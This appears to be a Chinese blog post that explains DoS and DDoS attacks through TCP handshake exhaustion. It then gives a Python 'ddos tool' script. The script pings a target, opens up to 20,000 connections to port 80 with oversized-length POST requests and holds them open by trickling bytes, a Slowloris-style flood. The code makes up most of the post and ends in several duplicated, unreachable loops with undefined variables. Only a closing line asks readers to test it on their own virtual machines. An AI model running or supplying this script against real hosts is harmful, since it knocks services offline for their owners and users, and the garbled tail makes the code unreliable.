首先说一下dos和ddos的区别:
DoS:是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
DDOS:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高威力。
详细解释以下dos攻击原理:
举一个最通俗的例子,下面的图片是TCP的通信的三次握手,如果说攻击端,发送完第一次握手的数据后,然后就“消失”了,那么服务器就会不断的发送第二次握手的数据,可是攻击端的人找不到了。于是,服务器的资源大量被消耗,直到死机为止。当然要完全弄懂机制,需要对TCP有相当深入的了解。
计算机网络会学到TCP三次握手,不理解的可以去百度,深入理解一下原理。
DDOS就是分布式拒绝服务攻击,将多个计算机联合起来,同时发动攻击。
上一段疯狂ping和socker链接的代码
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="目标地址"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
import os
os.system("ping -n 100 -l 100 " + HOST)
socks=[]
def ddos():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
ddos()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
可以自己用自己的虚拟机当作肉鸡自己玩玩,不要恶意攻击。